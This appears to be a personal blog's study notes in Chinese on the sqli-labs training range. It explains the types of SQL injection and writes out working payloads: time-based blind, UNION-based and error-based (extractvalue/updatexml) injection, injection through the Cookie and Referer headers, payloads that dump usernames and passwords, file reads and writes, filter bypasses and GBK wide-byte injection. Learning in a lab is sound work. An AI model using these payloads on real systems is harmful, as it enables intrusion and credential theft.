sqli-labs 靶场笔记
sqli-labs 靶场笔记
冲冲冲,好好学习 2020年1月12号
先来点铺垫
分类:
按照请求方法分类:
1.Get型注入:注入参数在get的参数里。
2.POST型注入:注入参数在POST的参数里。
按照数据类型分类:
1.整形注入:注入的参数是整形。
2.字符型注入:注入的参数是字符型。
按照其他的数据类型分类:
1.报错注入:注入SQL语句后,后台返回来了报错信息,我再根据报错的信息展开注入
2.双注入:用到两个select语句注入。
3.盲注:时间盲注,用sleep函数,用sleep语句来判断服务器是否有执行我的语句,先执行sleep函数让线程睡眠几秒,如果服务器返回延时了几秒,那就可以知道我的语句是否有执行了;布尔盲注:真假比较,true or false。
4.Cookie注入:在Cookie字段注入。
5.User-Agent注入:在User-Agent字段有注入。
SQL注入步骤:
1.判断是否有注入()-->第一要素
1)可控参数的改变能否影响页面的显示输出,就是看参数能改变输出结果,能 就下一步
2)输入的SQL语句能否报错---通过数据库的报错,能看到数据库的一些语句痕迹
3)输入的SQL语句能否不报错---我们的语句能否成功的闭合
2.什么类型的注入
3.语句是否能够恶意修改-->第二要素
4.能否成功执行-->第三要素
5.获取我们想要的数据。
数据库-->表-->字段-->值
时间延时注入:没有报错 (在less-9 )
?id=2' or if(1,sleep(1),0) %23
利用函数 sleep(秒数)和函数 if(语句1,语句2,语句3) ,如果if 的语句1为true就执行语句2,否则执行语句3,把 sleep()放在语句2 里 ,然语句1就可以用select 来爆出一些数据,在通过语句2 的sleep()有没有正确执行(看它有没有延迟)进而判断语句1是否是正确的,来猜测数据库的数据。
?id=2' o if((select table_name from information_schema.tables where table_schema =database() limit 0,1)>0,sleep(4),0) %23
当敲完这一长串select语句后,先来简单的检验以下语句有没有语法错误什么的,把select后的 table_name 用1 来代替,那就是一定为真的,判断以下语句能否正确执行,不然等敲完一长串语句后再找错很难。
第二步:
语句:?id=2' or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema =database() limit 0,1)>0,sleep(4),0) %23
用if()语句来判断这里的table_name的名称的每一个字母是什么,配合substr(table_name,1,1)函数一个一个字母截取来猜。转换为ASCII码,判断码是什么来确定是啥字母,改变 if(...,...,...)>a改变a的大小最后确定一位字母是什么,改变 substr(table_name,1,1) -->substr(table_name,2,1) --> substr(table_name,3,1)--> 重复步骤这样一个个字母来确定。
第一个字母,>100正确,但是 >101 错误,那他就肯定是101 了,不然就 试一下 =101 验证下。
总结:这里主要是,利用if(==语句1==,语句2,语句3)
语句和sleep()函数,语句一是可变的,可以用于查询database()又或者是table_name 之类的值。
Cookie注入 (less-11)
注意,记得把前面的 条件弄成假的, Cookie: uname=admin' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1 ),3 %23
这里的uname=admin’ 要把他变成假的,才去执行后面的union 语句。
uname=admin’ and 0 这样就假了。
先用order by 查明有几列,在select 1,2,3...
Cookie: uname=admin' and 0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
Upgrade-Insecure-Requests: 1 就把表名 爆出来了
再把列名爆出来:
Cookie: uname=admin' and 0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23
再用语句让他裂开爆出列的值: Cookie: uname=admin' and 0 union select 1,group_concat(concat_ws(':',username,password)),3 from users %23
先解释两个函数:
extractvalue() 和 extractvalue() :对XML文档进行查询的函数。
其实就是相当于我们熟悉的HTML文件中用 <div><p><a>
标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx
,即使查询不到也不会报错(如下句)
select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))
格式正确
但是查不到内容,也不报错。
使用concat()拼接 / 能达到相同的
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database())))) 这里的执行结果是 /database() 他也是符合语法格式/xxx/xx/xx/xx的。
若换一个符号 ,如 ~ 的话就会报错了 concat(‘~’,(select database())) ,格式不对就会把 database 带出来了。
要特别注意一点,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位。
所以可操作的而地方出现有 斜杠 / 要小心了。
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容) 如下,
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
报错方式与extractvalue()是相同的,同样是32位查询。
Referer注入
Referer: http://127.0.0.1:10001/sqli-labs-master/Less-19/
在末尾加点料让他报错 ’%23
但是报错出来的东西 (如下图),有个括号和逗号,在一般的select语句里是没有 逗号和小括号同时出现的,那就想想其他的语句,例如 插入语句
insert into xxx(a,b,c) values('...','...','...') 那就先来尝试一下把他闭合再找些地方能插入我们的语句来查询一些数据
insert into xxx(a,b,c) values(''and '','') 因为插入的地方是有三个值得,要有三个地方xxx(a,b,c)输入字段,所以 (‘’,’’,’’) 这是三个 ’’ 不能少。尝试一下把 and 插入到
之后没有报错,
那就可以搞事情了
成功利用错误把版本号带出来了,其中的高亮部分就是可自由发挥的地方了。用select语句把它替换
(SelEct%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_name=database()%0alimit%0a0,1),3%27
insert into xxx(a,b,c) values(''and extractvalue(1,concat(0x7e,@@version)) and '','')
先查一下有什么表
改变limit,查询下一个表名
insert into xxx(a,b,c) values(''and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = database() and table_name='emails' limit 0,1))) and '','')
再改变一下 limit来查询其他的列的值
SQL注入读写文件:
读:利用 Load_file(file_name):读取文件并返回文件的内容作为一个字符串。
使用条件:
1.必须有权限读取并且文件必须完全可读
2.目标文件必须再服务器上
3.必须指定文件完整的路径
4.目标文件大小必须必须小于 max_allowed_packet
写:into outflie “写入目标文件的绝对路径”
绕过注入符
当 # %23 --+ 这些注释符号别过滤后,就要开辟新思路来注入了。
猜测后台语句为:select * from xx where id = ‘’ limit 0,1
这是时候把 这里改一下 变成 id = ‘ ‘=’ ’ 加点东西进去,中间还能再加的,
注入的时候用:?id = 1’ or () or ‘
这里的 ()
就是可以自由发挥的空间。这里的 or 只是他不会显示出来,就是,() 里直接放入正确的select语句,select出来的结果是不会显示出来的,所有要用语句让它出现错误然后错误爆出来,就用到:
”报错注入” extractvalue(1,concat(0x7e,@@version))
然后就能改变后面的 内容 去select其他东西了。
Select table_name from information_schema.tables where table_schema = databalse() limit 0,1 一个个的去查询数据库里有什么表。然后再 列名,再值.
当or和and被过滤后,尝试用其他的代替 如: || 和 && ,
然后再用 报错注入 :
?id=-1%27 || (extractvalue(1,concat(0x7e,version()))) || %27
再变更语句查询其他内容即可
空格过滤:
空格的替代字符 (26这道题,它把空格,注释,和 or 都过滤了)
%09
TAB 键(水平)%0a
新建一行%0b
TAB 键(垂直)%0c
新的一页%0d
return 功能%a0
空格/**/
代替空格
以上可能在不同的系统存在差异,所哟都试一遍。
能看到,空格和%23都被过滤了,那就用 ’ or () or ’
然后很惊奇的发现 or 也被过滤了,下图,a和 a 之间的空格和or 没了。
那就用 || 替代or ,换成 ’||()||’
发现是可以的,没报错那就好办了:?id=-1%27 || (extractvalue(1,concat(0x7e,version()))) ||%27
试一下发现这样可以,那就好办了
那就本题中 可 用 %0a 替代空格。
下一题(27题):内联注释绕过。
先判断是单引号还是双引号的,
一看,是的单引号,那好办,下一步就把 %23 加上注释掉后面的 另一个的那引号。
尴尬,%23被过滤掉了,那也好办 用 ’ or () or ‘ 就ok啦。于是输入:?id=1' or 1=1 or '
巨惊喜的发现,空格别过滤了,
也好办,有 %0a 嘛。于是 ?id=1'or%0a1=1%0aor'
就ok 啦。
下一步 : 查询以下有几列 用 order by 或者 union select 1,2,3,4 一个个来,看看有几列。
发现 order by
不能用。
那就换union select 试试:
Emmmmmm到这好像看不出什么东西,猜测是不是 select被过滤了,验证下:
发现 union和selece 都被过滤了。解决方法
1.挑几个字母换成大写 :Union UniOn Select SelEct 之类的,多试几遍
ok了
2.内联注释 /! union/ /!select/
3.当发现输入的select 和 union 被过滤替换成了,可以用selselselectectect 这种形式的,当识别到的第一个select被过滤后就变成了selselectect ,这时候select再被过滤,就剩下select了,那么select就能执行了,不过要先判断这里的select会过滤几次。
在这里的27题,我们打开源码来看看,
源码过滤了两次 select所有要 selselselectectect
这种的。union 就一次,那就 uniunionon 。
正常的输入是不会返回的,所以又要使用报错注入
出于安全考虑,开发者常常用转义字符对付攻击输入的 单引号 ’ 和 双引号 ” 使他们失去作用,但这时候也会出现一些意想不到的结果。
在GBK字符集下的
0x5c=
0x27= ’
0xbf27= ¿’
0xbf5c=
这时候就会出现一个叫“双字节字符问题”的情况,比如 PHP中的addslashes()函数,或者当magic_quotes_gpc 开启时,会在特殊字符前面增加一个转义字符“ \ ”.
当攻击者输入 : 0xbf27 or 1=1 即是: ¿’or 1=1
由于输入出现了单引号 ’ 会被加上反斜杠, 所以经过转义后就成了这个样子
0xbf5c27 但是0xbf5又是另一个字符()那么这时候就尴尬了,最终成了这个样子:,所以出发点就无法实现了。这就是俗称的“双字节字符问题”。
存疑点:为什么一定要加 %81 ?? 还没理解透彻
绕过的原则就是把 反斜杠的 5c 加字符变成 双字节编译成文字让它失去作用。
例题 (32题):宽字节注入 (把反斜杠吃掉)
第一步发现它不会报错,
它不报错就无法继续下去了,要先把反斜杠吃掉,
呀哈,有没有发现什么问题 ,
?id=1%81%27 union select 1,(select database()),3 %23
这里的 id=1 又忘了,应该是 id=-1
出来了,下一步就是常规操作了。
几个常用的函数:
group_concat()把括号里的列所有值拼接在一起输出,如图:
database() 显示当前在哪个数据库。
?id=34 union select 1,group_concat(table_name),333 from information_schema.tables where table_schema =database()
获取到了某数据库里的表名。
再获取到该表里的字段和值有哪些
?id=12 union select1,group_concat(concat_ws(';',username,password)),3 from security.users
第二个例子 post型注入
第11关 猜测后台语句为:select 1 from users where username =’’ and password = ‘’
测试得时候,在username框里输入了一个单引号 ’ 然后就有返回报错信息如下
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' and password='' LIMIT 0,1' at line 1
可见,我们的输入是被两个单引号包裹着得,'''
构造语句select 1 from users where username =’’or 1 #’ and password = ‘’
从当前数据库中把表名列出来:
先用 order by 知道这几个字段,如果有三个 ,就select 1,2,3 三个字段,其中得123是随便用几个数字“代替”的,就是占三个位置。
?id=21' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+
查看表里有哪些字段
?id=21' and 1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name='users' --+
再查询表的字段的值:
?id=21' and 1 union select 1,group_concat(concat_ws(":",username,password)),3 from users --+
下一题 先判断是单引号还是双引号,看报错信息返回了 “4””
near '"4"") LIMIT 0,1' at line 1注意到这里的半边小括号 )
就猜想,这里后台的语句 select username,password from user where id = (“ ”) limit 0,1
所以要把这里的括号给闭合掉。
就先到这里吧 。2020.02.02